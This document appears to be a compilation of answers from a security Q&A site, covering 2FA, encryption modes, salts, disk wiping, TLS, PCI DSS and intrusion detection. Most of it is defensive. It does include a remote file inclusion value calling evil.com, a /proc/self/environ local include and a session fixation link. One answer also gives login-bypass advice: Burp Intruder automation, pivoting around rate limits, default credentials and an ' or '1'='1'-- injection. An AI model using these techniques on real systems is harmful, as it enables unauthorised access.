I think that something like PGP's web of trust could be implemented on top of BitMessage to provide identity verification: such authentication is not incompatible with BitMessage, but it seems to be a service that would exists independent of BitMessage (i.e., step 1: verify that BM‐2nTX1Kc... really is Alice's address; step 2: send a message to BM‐2nTX1Kc... using BitMessage).


Changing your password should be all you need to do.

In addition to this (if it were me), I'd turn on two-factor authentication.  This will require a code (sent through SMS or from an authenticator app on your new phone) to be typed in, in addition to your password and will ensure only you are able to log on to your account.

That being said, you can also take extra precautions and go to the Google Account Security page and make sure that only the devices and computers and apps that you want to have access to your account actually do:  https://myaccount.google.com/intro/security

Another link for reference detailing the de-authorization of other app passwords and devices that are potentially using your account:  https://productforums.google.com/forum/#!topic/drive/tHVFkE1nsZ4


Is it safe to put the output of 'strace' online?

strace has the potential to include any data processed by the application.  If reading/writing sensitive data from standard in, a UI, network, or disk, it's possible that that information is included in the strace log.  If at all possible, try to reproduce bugs without processing sensitive data in the process when you're going to post logs.

Since you didn't specify what kind of application you're dealing with, this is about as extensive as an answer that I can give.


Docker and LXC are a great concept; isolate potentially vulnerable applications from the rest of the system to limit the damage they can do if something does go wrong.

They are not silver bullets, mostly due to limitations in the design of Linux itself i.e. root is root, even inside a chroot.
http://www.bpfh.net/simes/computing/chroot-break.html

There are ways of plugging the holes that LXC and docker don't yet cover. The most popular way is to use them in conjunction with mandatory access controls such as selinux.
http://mattoncloud.org/2012/07/16/are-lxc-containers-enough/


Kaspersky Lab malware faking. How worried should I be?

As the article states, this issue was observed between 2009 and 2013, so is not current anymore. It relied mainly on two things:

According to the anonymous Kaspersky employees, because other anti-virus software editor were allegedly copying, "stealing" Kaspersky technology,
And in all case with more certitude because there was at least during this period a real marketing race to which editor was the first to detect an infected file and to detect the largest amount of them.

The trick was therefore relatively simple: submit some code sample to VirusTotal which will be flagged as malicious by Kaspersky alone, and the other editors will soon "catch up" by updating their signature base to include this one as well. The most technically difficult part was to manipulate other editor's software into producing a signature matching also legitimate files.

IMHO this showed a very poor approach where marketing takes precedence over security.

This article also explains how such deception practice were discovered by the anti-virus companies (for instance a sudden rise of customers calling the AV support because their printer's driver has been quarantined), and how they saw this as a flaw in their anti-virus software and signature management processes to be fixed.

So these software and processes being (theorically at least!) harder to corrupt nowadays, such flaw should not happen anymore and, therefore, to answer your question you should not worry anymore.

At the time of such practice was observed however, the anti-virus would not clean the file but quarantine or delete it because its code matches a pattern wrongly flagged as suspicious. There is indeed nothing to clean, the file being a legitimate one! The "bad code" was only injected in the initial sample sent to VirusTotal in a way that competitors will not add the bad code to their signature base, but the legitimate one...


Will ios8 encryption fail on forced shutdown?

This was just a comment...

tl;dresearch: as far as I know the only threat in your scenario would *potentially* come from a cold boot attack if the attacker could freeze your phone and do nasty things to it.

Full disk encryption stores the decrypted file to be accessed in volatile memory. Thus, if the power is disrupted by any means, disk is left encrypted and the decrypted files are gone. However, you may be able to do what is called a cold boot attack where you literally freeze the memory before power fails but I havent done the research to see if this is possible with a phone (I dont see why not) moreover, this requires the forensic examiner (malicious or otherwise) to freeze the memory before or very very soon after power is lost.

References:

cold boot attack vector 1
cold boot attack vector 2
how full disk encryption works 1
how full disk encryption works 2 (pdf)

More: (these are more apple specific, but still great)

https://www.ethicalhacker.net/features/root/using-cold-boot-attacks-forensic-techniques-penetration-tests
http://resources.infosecinstitute.com/cold-boot-attack/
http://www.eweek.com/c/a/Security/MacBook-Air-Resistant-to-ColdBoot-Encryption-Attack/
here and here I found information about an iphone cold boot attack.


Good one.  Ethernet over power has distance constraints and in practice, I've seen the ethernet connection die after 20-30 meters due to the quality of the cabling in the building. In an older building where we were using ethernet over power - it died after 10 meters....

Also the devices work in pairs - so a person who wants to tap into your LAN would have to have a paired device just like yours.

These constraints would make it difficult for someone outside the building to tap in - especially since another building would be on a separate circuit.

And - it's easy enough to test.  Take an adapter outside the building and see if you can get Ethernet connectivity.

This may sound lame - but why not use secure WIFI?


Researchers figured out how to transmit/exfiltrate data using heat

This proof of concept is about communicating from a non-air gaped machine to an air-gaped (not on the network) machine. Both machines need to be infected with the malware. This would be like a stuxnet type of attack; it may be possible to get one time access to the air-gaped machine to install the malware, but you can't get continued access because you need to physically leave the air gap.

The way the communication works is by modulating heat on one machine and have the other machine pick up the change in ambient heat. It requires the two machines to be physically close. It may be possible to expand this to a greater range, but perhaps a more likely scenario is where you have networked controlled HVAC and temperature sensors all over the room which are also networked and which you can monitor. In this proof of concept, it posits that all of the servers are nearby, but some are airgaped; an organization may just not connect systems to a network, but not bother to put them in another room.This is more of a nation-state spying type thing then something a script kiddie or even criminal hacker would be up to.

The difference with other attacks where you remotely view the changes in power, etc is that the air-gaped computer is more likely to have temperature sensors to read input and also can control the fan, processors, etc to control heat. This means that the air-gaped machine does not require any additional hardware once compromised with malware to transmit messages back to the non-air-gaped machine. Also, because it takes a good amount of time to change temperatures and ensure its consistent, the communication is slower.

Again, this is a proof of concept. Check out the wired article, geeks.com is probably not the best place for deep technical reviews.

There are similar classes of "remote viewing" attacks with reading power levels, radar, etc.


Can you sniff broadband connections? And how you secure that?

It depends on the broadband technology being used.  Generally, for most residential fiber and cable systems, about 32 or so houses share the same passive distribution network.  As such, the information coming from the ISP goes to all 32 customers and the cable modem filters down the information for each customer.  Using a hacked cable modem, it is possible to monitor all the traffic coming from the ISP, but it may or may not be encrypted depending on how the ISP is configured.

Similarly, traffic going to the ISP is moving in the wrong direction and can't be easily detected by other customers.


EMV has no effect on the rules for capture amounts.  It's only an authorization-time feature.  There are things you can do with swipe cards that you can't with a chip, but your specific example isn't one of them.  For example, you can't display one total on the device and then authorize a different total, such as when the card is swiped while still ringing up the transaction. 1.
For transactions where the capture/settlement amount is different from the authorization amount, those rules are set by the card brands and are more dependent on industry and type of the transaction than how the card is presented.
For example, Visa's says:

A Merchant must submit an Authorization Request for either:

The final Transaction amount
A different amount or amounts if the final Transaction amount is not known, and the Merchant or
Transaction type is included in and complies with Table 5-13, Special Authorization Request
Allowances and Requirements

Table 5-13 starts on page 370 and runs for the next six pages, so there's a lot of special cases.  But if you aren't one of them, then Visa can fine you if you change the amount, regardless of swipe or chip.

1 Actually, you can, but the bank can see it and is likely to decline.  Except in the US where the banks specifically don't care, and in fact encourage this.  See QuickChip, for example.


How can I mitigate against chosen plaintext attacks for AES ECB?

The simplest way of dealing with this I can think of is to more or less implement CBC mode yourself. All it requires is for you to be sure of the block size used:

Build a random (and unique) IV of the same size as the AES block size (128 bits).
Encrypt that block and store the result (let's call it A)
Build a chain of 128-bits blocks containing your actual message (add padding as needed).
For each block in that chain, XOR it with the content of the buffer A and encrypt it individually. Store the result in your output buffer and replace the content of the A buffer with it as well.

In order to decypher the data, you decrypt the first 128-bit block and store the result in a 128-bit buffer. You then take each 128-bit block thereafter, decrypt it, XOR the result with the content of buffer A, store the result both in your output buffer and in A and move to teh next block.

You then remove the pad and you're done.

Edit:
One word of warning:

The best way would be to use a standard library instead of toying with code like this.

By doing what I suggested, you're running a rather severe risk of adding some vulnerability to your implementation: although I fully understand your need to work with specific limitations, you need to be aware of the fact that you are quite likely to end up with code that is vulnerable to some kind of attack (although it might be more resilient than the initial implementation).

Furthermore, if you rely on code that use ECB mode, it means that the author of that code had no understanding of modern cryptography and therefore probably contains other basic errors.


What kind of damage controls should an online banking web application implement?

Most banking sites limit the amount of money transferred in a specific timeframe. You will not be able to perform transactions that have a greater value than say € 5000.00 in a single 24 hour period without prior notice to your bank.
This prevents/limits the most harmful cases of fraud.

Additionally all (at least all german banks) will use some sort of second factor per transaction that requires the users specific consent for every transaction.

A transaction log is always a good idea, and can be used as a valuable feature for your customers too.


How is github 2FA personal access token more secure than passphrase?

The security lies in that you have a unique "access token" per client. So you can revoke and control as you will.
Look at for example, Googles "App Passwords" which are the same thing.

These tokens, of course make the 2FA no longer 2FA, but thats required for software and programs that do not support 2FA at all.

The idea is that if a token becomes compromised, you can revoke & renew that token, without jeopardizing access to your account or throwing out other clients.


How are apps on the Play Store infected by malware?

Here is a link to Trend Micro's analysis of it.  Looks the library is intentionally used in the apps rather than them being "infected".  I think the apps' primary purpose is to deliver the malware.

From the article, the thing that jumps out at me most is the following: "...it comes with an embedded malicious behavior that downloads codes from a remote server, then loads and executes it. Second, it goes to great lengths to protect itself from being detected through the use of methods such as String encryption, Internet data encryption, and emulator detection."

Three things that make it dangerous: 1.) It can encrypt the traffic between it and it's command & control servers. 2.) It can download and execute code from said servers. 3.) It evades detection. The fact that it can remotely download and execute code (think: updates that change it's behavior), encrypts it's traffic so no one knows what it sends back, and tries to evade detection tell me that it is designed to do something more nefarious later

http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-xavier-information-stealing-ad-library-android/


DES Decryption followed by Encryption, will it produce the original text?

Yes, like all block ciphers, DES is a PRP. That is a Pseudo Random Permutation. A permutation is a reordering of all possible input values.

In the case of DES there are 2^64 possible input values as the block size of DES is 64 bits. If you have a key and DES in encrypt or decrypt modus then the key will indicate a reordering of all 2^64 possible values. In other words, each value will be translated into another value at the same position in the re-ordered array.

Now of course decryption does the reverse translation to encryption. But if decryption is the exact reverse of encryption, then encryption is the reverse of decryption.

Lets take a look at a possible permutation of two bits for a specific, unspecified key (as writing down a 2^64 permutation is impossible):

00 ENC 11
01 --> 01
10 DEC 00
11 <-- 10

You can simply rewrite this as

00 DEC 10
01 --> 01
10 ENC 11
11 <-- 00

So in the first column there are all possible plaintext and in the last column all the possible ciphertext.

Obviously it doesn't matter if you switch encryption and decryption.

As some ciphers implementations are actually somewhat more efficient in the decryption direction it may make some sense to switch encryption and decryption around. I haven't seen many protocols that do though; the advantages are minimal while the confusion would be high.

In the case of triple-DES this property is actually used. Triple-DES uses an EDE (encrypt, decrypt, encrypt) scheme for encryption and a DED scheme for decryption. As you can see, the middle part of the encryption and decryption is in reverse.

Side note: The actual number of possible permutations - the number of ways you can reorder all possible plaintext blocks - is very high. To be precise, it's 2^N! where N is the block size. So there are 2^64! (that's about 10^(10^88) - a truly scary number) possible permutations for DES; only one of those is selected by the key.


Do salts have to be random, or just unique and unknown?

The only requirement of a salt is to be globally unique. It doesn't have to be random and it most certainly does not have to be unknown.

Note the keyword globally. A salt must be unique not only in the context of your database, but in the context of every single database out there. An email or an incremental user ID is (very) unlikely to fulfill this requirement. Using a randomly-generated salt does.

EDIT

I'm going to address the whole using a domain + userid as a salt idea that came up in the comments. I do not think this scheme is a good idea especially when compared with just using a random salt.

If your site is a high target one, an attacker might find it worthwhile to generate a rainbow table targeting the admin account before the attack occurs. This might allow him to get access before the attack gets discovered. The domain + userid scheme does not work well when you consider this situation because the admin account is usually within the first few userids in the system especially when userid is incremented using a counter.

That being said, this whole discussion is really moot in practice. Generating random salts is easy and fast. Many password hashing libraries, especially the bcrypt ones already do it for you. There really isn't a point in rolling your own scheme even if it's just as secure. Let's face it, we are all lazy people aren't we? :P Why reinvent the wheel?


Threat modelling tools and alternative threats

You're right that the Microsoft tooling is aimed at developers.  When we developed the v3 SDL tool, we wanted to focus in on what the developer would likely know about.  Managing jurisdiction is a requirement that's going to come from somewhere else.  So to your question 1, the current Microsoft threat modeling tooling focuses on developers and prioritizes their needs, and   As I discuss in my book, threat modeling is something anyone can do, and everyone should.  Unfortunately, the models of attacks outside the very technical are not as well developed.

[Apparently, I'm not allowed to comment, so I'll add a bit more here to your question 2. It's very helpful to define a scope of "other kind of threats."  One thing that can sink a threat modeling process is a succession of threats about which you can't do anything. Many of the threats you'll find with STRIDE can be addressed by developers.  So what scope are you looking for in #2?]


Reading potentially hidden properties of a PDF file

No data mean there are no data, sorry.

Unfortunely, populating metas is at all a good practice, but not a requirement.

You could create a PDF from approx every program able to print something, so there are as many different pdf maker than applications.

But, you could split (source) your PDF, (with pdftk, ghostscript, pdfdetach and a lot of other tools) then inspect each components.

This could become a forensic job, but you could determine a lot of thing by this kind of work.

Little sample:

printf "%%\041\n/Helvetica findfont\n11 scalefont\nsetfont\nnewpath\n
             300 500 moveto\n(%s) show\nshowpage\n" TEST |
    gs -sDEVICE=pdfwrite -sOutputFile=/tmp/test.pdf - -c quit

This will produce some regular PDF file, containing only the word TEST...

pdfinfo /tmp/test.pdf
Producer:       GPL Ghostscript 9.20
CreationDate:   Fri Dec  8 17:46:00 2017 CET
ModDate:        Fri Dec  8 17:46:00 2017 CET
Tagged:         no
UserProperties: no
Suspects:       no
Form:           none
JavaScript:     no
Pages:          1
Encrypted:      no
Page size:      595 x 842 pts (A4)
Page rot:       0
File size:      2569 bytes
Optimized:      no
PDF version:    1.5


Will the following PHP code result in source code info leak/disclosure?

First of all, you are not merely disclosing file content. You are executing it.

If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code.

Alternatively the attacker can perform a local file include by sending php code in request headers and do file=/proc/self/environ or any other number of attacks.

In short you should ideally never call include on user supplied data.


Should email verification links be 'time limited' after user registration?

A time limit for a verification link is a small part of the overall security model for your system.  The main risk-benefit is that if the link is compromised then the same verification link cannot be used in the future (if the user never got around to using the one-time verification link).  The link could be compromised by a future user email hack, results being evaluated from network scanning and so on.  The theory being that it takes some time to compromise the link itself and then act on it.

It's a pretty low probability risk, however, it makes sense to implement a time limit.


Preventive Measure for detecting Session Fixation attacks

That's not how a session fixation attack works. The attacker must first trick the user into visiting the website using a predetermined session. For example, I could trick you into clicking a shortened link http://example.com/index.php?PHPSSIDE=BLAHBLAHBLAH. If you login to example.com now, your session will be identified by BLAHBLAHBLAH. I'd then simply use the same identifier and login to your session. Other methods include an untrusted sub-domain assigning a session cookie for another sub-domain.

If you trust your sub-domains, just configuring your web server not to use session identifiers (eg. PHPSSID) in GET or POST is enough. Pairing the session to an IP address, refreshing the identifier, and session expiry, are all also good extra layers of protection against session hijacking.

When implementing a security feature, always think about the majority of your users. Those 90+% whose IP won't change a gazillion time throughout the session, those who won't have their sessions constantly hijacked. For the other 10%, it's alright to show them a re authentication form (entering the password again) when something specious happens.


To what extent does formatting a disk (securely) remove its data?

Quick-formatting a hard disk simply erases the filesystem's structures and tables and writes new ones in place, giving the illusion of a brand new disk. Old data is simply overwritten as and when needed, but it still remains on the disk. File carving utilities can go through the disk data and recover fragments of files, then stitch them back together without needing the original filesystem entries. This is commonly offered in commercial "undelete" applications, but more comprehensive methods are available in forensics packages.

Wiping a disk with a single pass of random data (or zeroes, or whatever really) is sufficient to fully remove all traces of the data from the overwritten sectors. Multiple passes are pointless on modern disks, even against the perceived threat of hardware-level recovery attacks. I refer you to this question for details, but the short answer is that old techniques like magnetic force microscopy (MFM) were never really effective at recovering overwritten data in the first place on low-density devices, and newer magnetic disks have such high densities that it's physically impossible. Multi-pass overwrites are there to help people validate their need for über-security, or sell magic disk wiping software, despite it being pointless and detrimental to disk longevity.

The only exception is flash (e.g. USB flash drives and SSD), which have additional wear-leveling sectors to increase the lifespan of the device. The physical sectors are exposed as a logical map to the system, which makes it impossible to directly overwrite all of the data. Even if you overwrite all the logical sectors, old data might remain in the wear-leveling sectors. In order to combat this, some flash device specifications include an encryption requirement to increase the difficulty of recovery (because it is no longer possible to directly read data from the memory chips using hardware probes).

In SSDs, encryption can be used to speed up the ATA Secure Erase feature. All sectors on the disk are encrypted using a key stored in hardware, and this key can be discarded and a new one generated when a Secure Erase command is sent to the device, thus rendering all data on the disk (including slack / wear-leveling areas) unreadable. Secure Erase is also possible without encryption, but then the drive must actually delete all memory cells, which may take a while.


IANAQSA, and all quotes from Understanding SAQs for PCI DSS version 3:

Based on the information you've provided, you'd be a SAQ D.

SAQ A and A-EP are ruled out for you because they can have "no electronic storage, processing, or transmission of any cardholder data on the merchant's systems".  When you say

  We accept CC information on our secured hosted page but trasnmit them
  through SSL to our third party payment provider

That tells me you're transmitting cardholder data.  I'm interpreting "secured hosted page" as "a web page on a web server you manage which is secured with SSL"; correct me if you mean otherwise.

SAQ B, B-IP, C-VT, C, and P2PE-HW are "Not applicable to e-commerce channels", which would appear to rule out your "eCommerce website".  So, yeah, SAQ D applies as you're a "merchant not included in descriptions for the [other] SAQ types"

The fact that you "use a tokenization technique" and "only store the Billing token that is provided by the payment provider" does reduce the amount of work the SAQ D implies.  To quote the Guidance for Non-Applicability of Certain, Specific Requirements in SAQ D:

  While many organizations completing SAQ D will need to validate
  compliance with every PCI DSS requirement, some organizations with
  very specific business models may find that some requirements do not
  apply..... an organization that does not store any cardholder data
  electronically at any time would not need to validate requirements
  related to secure storage of cardholder data (for example, Requirement
  3.4).


Is there a file system allowing read-only access enforced by cryptography

Yes, this is called dm-verity, which is supported by cryptsetup. It verifies the filesystem as it is read using cryptographic hashes. If anyone was to modify the filesystem without the appropriate credentials, your operating system would throw an error next time it is read, alerting you to the fact that there may be tampering. Making changes involves rebuilding the filesystem with a new hash tree.
The tool for configuring dm-verity is veritysetup(8).


Nmap is a software for discover information in the network like open ports, SO versions, host discover... but as far as I know, you can't get access with nmap. You will need other aps like Armitage or aircrack-ng to exploit the vulnerabilities you found with nmap.


The server always sends a chain. As per the TLS standard, the chain may or may not include the root certificate itself; the client does not need that root since it already has it. And, indeed, if the client does not already have the root, then receiving it from the server would not help since a root can be trusted only by virtue of being already there.

What Symantec says is that they recommend not sending the root, only the rest of the chain. This makes sense: since the root is useless for validation purposes, you may as well avoid sending it and save the 1 kB or so of data bandwith per connection.

Anyway:

The server's certificate, with its chain, is not for the server. The server has no use for its own certificate. Certificates are always for other people (here, the client). What is used by the server is its private key (that corresponds to the public key in its certificate). In particular, the server does not need to trust its own certificate or any CA which issued it.
In TLS, the server is supposed to send a chain; and the client is supposed to somehow use the server's public key for the handshake. The client is free to "know" that public key in any way that it wishes to, although of course it is expected that the client will obtain the server's public key from the certificate chain that the server just sent. Browsers will primarily try to use the chain sent by the server (by trying to link it below one of the roots already trusted by the browser); in case of failure, they will try to build other chains based on intermediate CA certificates that they already know or can download on-the-fly.

In stand-alone applications, application writers are free to configure or bypass that step in arbitrary ways, which can be useful if the server's public key can be hardcoded in the application code (in which case the chain sent by the server is just completely ignored). Unfortunately, freedom to implement a custom certificate validation step is also freedom to wallop security, stab it to death and then throw its corpse in a ditch. It happens way too often.


Best practice in software testing is to avoid testing with production systems (Your banking site is a production system and additionally I bet automated crawling is a non intended use case) and further to not test with real data.

I'd try to mock most output of the banking site until I'm pretty sure my code is working as intended. The tests could be interpreted as a hacking attempt which could result in a temporary ban.

However I don't see an issue with using HTMLUnit since it's pretty transparent what the library is doing.

For the second part: Make sure to get the dependency via TLS.


There are several ways; php could have display_errors on or you could have HTML source or links that reveal the file location.

URL is a little trickier, but using something like ///view.php might do the job.


Skype chat history and web browsing history CHECK

Chat history and contacts are saved in a windows directory : C:\Documents and Settings\\Application Data\Skype\ .
Network admin has access to those files and can access them.
So basically, Yes. Network admin can view your chat history or even export them without you noticing.


Is open-to-all CORS safe for non-cookie-based authentication schemes (e.g. OAuth)

"sending requests as the user", but I'm not sure what they mean by that. I assume this is similar to how CSRF works

Exactly.

  as in, the requests get sent across with the user's cookies.

CSRF doesn't necessarily require cookies.  It's just easier with cookies because they're automatically attached to any request to a particular origin.

If the authorizing credentials are guessable or stealable then a third-party iframe can forge a request with them.  CORS just makes it easier to forge a request with headers that aren't usually part of a browser initiated GET or POST.

If you're doing authorization via secrets in the URL, I'd make sure your CORS service includes the appropriate headers so that you're not vulnerable to history sniffing and similar side channel attacks.  OAuth's embedded parameters should have enough entropy that they're safe against sniffing, but there's always referrer leakage from your side to take care of, so those headers are a good idea.

  Any third parties attempting to do a protected operation on behalf of the user wouldn't have access to a valid token (which is stored on local storage or in-memory).

It looks like you've got a handle on the major attack vectors.

If it's stored in local-storage, then an XSS on any page with access to that local-storage could leak the token.

If you can't keep the token in an origin that doesn't include HTML with third-party content, then there may be tricks you can do with document.domain to limit the window of exposure to injected scripts on any page that's in the same origin as the token.

load JS that fetches and sequesters the token using closure integrity to provide an API to other JS in the page without exposing the token value itself.
change the page origin so that you no longer have access to local-storage
proceed to run the rest of the page script which might have injected content

Also, CSP might provide defense-in-depth down the road.


The authentication mechanism is implemented at the back-end and hence, there are two key services which many security professionals offer:

White-box security assessments
Black-box security assessments
Gray-box security assessments
Glass-box security assessments

I won't go into details of each of these service offerings as it's plainly business model of the company, organization and the way these key services are offered but for the technical understanding, one would need to consider that it depends on the type of services the test cases have to be prepared.

For an example, one might not have access to the source code, and this must not stop an attacker given the time & resources to attack a certain entry point i.e. in this case - a login entry. What you'd need to input depends on the source code but as a black-box security consultant, you would need to figure out trial and error basis of approach of what must be the back-end and accordingly prepare your attempts.

This approach is highly time-taking but could be automated by Burp Suite 'Intruder' and a list of possible inputs could be fed to the intruder in order to automate the task for you. Additional authentication bypass have been described here. As for the errors you've received, check all of these following items:

Make sure you aren't tapped into a back-end login honeypot.
Make sure when automating, the application hasn't employed rate limits.
If the above is true, make sure, you have adjusted timing at Intruder.
If howsoever, the rate limitation measures are Geo-location based, try pivots.
If system returns 'task solved', you'd require to grep the output from the results of the intruder and hence investigate that particular HTTP responses. Or, you can go through the 'response codes' and select 302 responses provided system doesn't throw 200 on every attempts (if login successful or not) or 500 at an error stage.

Sometimes, many testers over-estimate and never try simpler methods which is to see if admin/admin works or the list provided here works. It again would depend on trial and error approaches without having to know the exact source code but attempting to enumerate from all errors that you trigger and then construct your bypass. Try admin' or '1'='1'-- on both fields for an example along with others mentioned on the list.


Should DSA keys be considered deprecated?

OpenSSH's decision appears to be motivated by some sort of confusion that originates from their own code base; see this answer for an analysis.

In SSH, DSA keys are deprecated because the people who get to decide what is supported and what is not (the OpenSSH developers) said so.

On a more general basis, there is no newly discovered vulnerability on DSA. There are issues related to key sizes, which were known and keep being known; basically, a DSA Key in a 1024-bit modulus is not substantially stronger than a RSA key with a 1024-bit modulus, so if the latter is to be avoided, so is the former. The current versions of the DSA standard allows the modulus to have size 1024, 2048 or 3072 bits. If you use DSA then you will want to make the modulus size 2048 bits (or 3072 bits if you want to spend more CPU). See this site for lots of data on estimating strength based on key length.

However, one may note that there is little reason to prefer DSA over its elliptic-curve version ECDSA: ECDSA public keys are shorter (this saves on network bandwidth) and the ECDSA version is less computationally intensive (this saves on CPU). While this does not mean that "DSA is deprecated", this still implies that ECDSA is preferable, unless it cannot be used due to interoperability issues with legacy systems. Note that the same kind of interoperability issues may prevent you from using a 2048-bit DSA modulus.


What are the implications of an overly-restrictive password policy?

You're right, it is a really interesting password policy.  Some of those rules are poorly defined.  If I apply a loose definition, I think it doesn't narrow the number of possible passwords to the point of making them easy to guess, but there are problems with this list:

Best protection of password is the length.  If it really must be exactly 8 characters, that is really bad.  I assume they mean 8 characters or longer. 8 characters isn't enough anymore in my opinion (even though this is recommended as a minimum everywhere).  Increase to 10 or 12.
repeating characters?  I assume they mean right next to one another  Who cares?  This doesn't do much to improve the guessability of a password.
Why only two special characters?  Why limit it to # or &??  This makes no sense.
Leading Letter?  Again, WHY?
No dictionary passwords is something I agree with, but how are they verifying it?  Do they have a database of dictionary words?

total possible combinations:
(26 + 26 + 10 +2) ^ 8 = 281,474,976,710,656
exclude combinations without numbers:
(26 + 26 +2) ^ 8 = 72,301,961,339,136
exclude combinations without leading letter:
(10 + 2) + (26 + 26 + 10 + 2) ^ 7 = 4,398,046,511,104
exclude combinations with repeating characters:
total possible - (64! / 56!) =  103,011,989,072,896

exclude dictionary words (words with 8 letters) round up to 10,000

final answer of how many passwords allowed:  101,762,979,777,508
So about 102 Trillion


Trying to determine if someone was "DoS'd"

Based on the information you have provided, I would say that the player was not victim of a Distributed Denial of Service attack. The amount of packets captured in your log are way to small in quantity, however this does not mean that the player couldn't have been DDoSed without the packets being in your log. On the other hand, it seems that the packets that are logged state that they are fragmented. This is a common DDoS tactic, because the targeted machine will try to re-assembled the thousands of fragmented packets, therefore tying up system resources causing lagging or a system crash. Also, I can see in your logs that there was a port scan done, but probably not to the same machine. A port scan is beneficial to attackers because it will tell them what ports are open on your computer. Sending packets to a closed port won't get them very far. In addition, a Distributed Denial of Service attack is just what is states, the denial of a service, specifically internet connection. A DDoS attack can sometimes be used to get a system to reboot or cause a distraction, but does not directly infect a computer with a virus.

To reiterate, the information you have provided does not give me much information to give you a solid answer. However here are some tools and resources that may prove to be beneficial.

Loss of Internet Connection: This is pretty much your tell tale sign that you might be victim of a DDoS if it was successful. If the attacker did not have enough power, your system may just lag.
Your Internet Service Provider (ISP): ISPs hate DDoS attacks as much as you do because the surge of traffic is going through their networks too. At the very least, you could call your ISP to see if they noticed an abnormality in your usual internet traffic.
Packet Captures: There are free tools available such as wireshark that will capture all traffic going in and out of your machine. If you notice an huge influx of traffic, that is a good indicator. However, this tool must be running when you suspect foul play of course. It is of no use after the fact.
Netstat Utility: Another easy way to determine if a DDoS attack has occurred is through the built in Netstat utility in windows (assuming that is your OS) that is explained here. This site will show you how to run a netstat command to show connections made to your machine, and how to analyze them to see traces of a DDoS attack.

Given the resources listed, I would say your best bet now would be to contact your ISP. If you are able to update your question with any more data, I can revise my answer accordingly.


Allow external Internet connection when also connected on VPN

A properly configured VPN should be working exactly like your system is functioning.
What you're asking for is a split connection. Yes it is possible, but doing so is considered to be a security threat.
Fundamentally you need a second layer 2 (ethernet) port. This can be done with either a real physical second connection, or a virtual second port on one physical device.
I encourage you to carefully consider your reasons.


Is running a DNSSEC enabled DNS service as hard as running a CA?

As we are running to 2 solution in for our company, here is a rather fair point of view.

When you are outsourcing the CA or DNSSEC service, all that's matter is how much trust do you have in the 3rd party company providing your the outsourced service. In order the outsource the complexity you'll have to rely on on the secure practices of the CA/DNSSEC provider.

For the 2 services, the main point you'll have to take about is the key management. You'll have to protect your private keys in order to prevent being compromised. As Kurt mentionned, it's perfectly fine to handle the KSK and the ZSK as stated.

But the experienced operational complexity for the 2 services is the following:

CA: The main tasks you'll have to achieve is the (re)issue and revoke certificate. These processes are rather simple because if you issue a wrong certificate just revoke it and issue a new one using your issuing certificate. If a service is disturbed, i.e. wrongly signed or invalid certificate, your service will be disturbed till the moment you'll put in place the new certificate.
DNSSEC: The main task to resign the zone (on time basis according to the validity lift time of the signed zone) and also re-sign when adding modification to your DNS zone. But if something goes wrong then your invalid DNSSEC zone will be cached in other DNS (i.e. clients, other companies) usually for 48 hours. As a example if your client are using google's DNS (8.8.8.8 & 8.8.4.4) your wrongly signed DNS zone won't be resolved trough google DNSs causing a huge service disruption. Your only chance will be to wait until your signed zone expires are other DNS will renew it.


How should privileged users keep each other in check?

This comes back to the "separation of duties" and "least privilege". In a ideal situation, admins in the IT department would not have access all across the board. One admin might have complete access to one system and another admin would have access to another system. This attempts to limit the exposure if someone in the IT department did try to do something malicious.

In reality, this is easy to put in policy but very hard to enforce and regulate. At some point, you have to trust someone to perform the most important tasks on a system,server, etc. The idea is to make it difficult for a single individual to wipe out a critical system.

There are also many controls one can implement. One of the most important controls would be auditing. Making it known that any action taken on a system is being recorded and tracked back to a specific individual might turn away a internal attacker. At the end of the day, you have to trust someone and in my personal experience, admins are aware of more weak points than less privileged users.


Website is behaving strangely - was it attacked?

My own apache logs are stored in:

/var/log/apache2/*.log

Typically each virtual host has its own access log, such as:

/var/log/apache2/vhost1_access.log
/var/log/apache2/vhost2_access.log

The entries are very similar to many entries in my own log files.  The IP addresses listed in your question each have been tagged by other web servers, probably automatically by programs such as fail2ban.  At least one IP address was tagged as using zmeu scanner.

Most these types of log entries indicate what I would describe as the low to medium hum of the open Internet; meaning automated bots looking for low hanging fruit in all corners of the IPv4 address space.

If your particular corner of the Internet is chosen by several scanners simultaneously, your small low-traffic server may experience some heavier than normal load.

Generally, I check:

The last command in order to make sure that I recognize all entries.
The lastb command in order to check how many username/password combinations have been attempted for the day.


Does TLS have any way of exposing only the URI in a SSL-SSL proxy, or BlueCoat style appliance?

If you are asking whether or not an HTTPS connection will show the unencrypted URL in the network data, then the answer is partially YES.

Contrary to the previously accepted answer, the URL does not get encrypted like the rest of the data.

The base URL (ex. amazon.com) will appear as Server Name Indication extension (SNI) unencrypted data. Only the base URL. amazon.com/books will only show amazon.com in the SNI, the /books and beyond will not.

SNI exists to handle virtual hosted servers, multiple web sites hosted on the same IP address.

You can see this for yourself with a line capture. Fire up Wireshark (or whatever), go to a web site and look at the "Client Hello".


You can export the workspace from the Metasploit installed on Linux, install Metasploit on Mac OS using Carlos Parez's script or using the method outlined here. Once the installation is complete, import the workspace and you will have all the data (hosts, vulnerability information, looted data, etc) in the new setup.

To export the workspace data, connect to the workspace using the msfconsole workspace <workspace-name> command and then run db_export:

msf > db_export -f xml -a /root/msf-data.xml


There are two subtly different things you might want to test.

Is Snort working in the sense that it's running, able to sniff trafic, testing it against the rules, and alerting you when one is triggered?
Is Snort working in the sense that it's current rule set detects a specific intrusion of type X?

To test case 1, you make a rule that's easy to fire, like your example, and fire it.
To test case 2, you have to attempt an intrusion of type X and confirm that it is detected.

You seem to be wanting to test case 1 (that the install has been done correctly) using the method in case 2, but you don't need to. Using a "fake" rule is a perfectly valid test that Snort is working in the first sense. And it's easier. Easy tests are good. You don't want to faff around with Metasploit when you're just checking that the alert emails go to the right person. Especially if you're not skilled in running intrusions - what if you do the intrusion wrong, and get a false test result? What if the intrusion attempt crashes the target (which is very likely on many types of intrusion.)

You really only need to test case 2, that a specific rule works against a real intrusion attempt, if you don't trust your rule set (in which case - why are you using it?) or if you're developing new rules.


Is 2FA really necessary with long, high entropy passwords?

A better comparison is like having a guard inside a locked door.  If you lose your key, the guard can still keep someone that isn't you from walking in.  It isn't possible to guarantee that even the most secure password won't be compromised due to some attack.

Having multiple factors, particularly one that is never directly shared, adds an entire additional tier of security.  You still gain a lot from two factor authentication and you still need it for the same reason you don't use a weak password when using two factor authentication.

The best security is using a strong version of both.  We just don't bother with three factors because while one would be easy to compromise, two would be much more difficult to compromise at the same time and if they can get two at the same time, three isn't much harder.


How do I prove that my email was hacked?

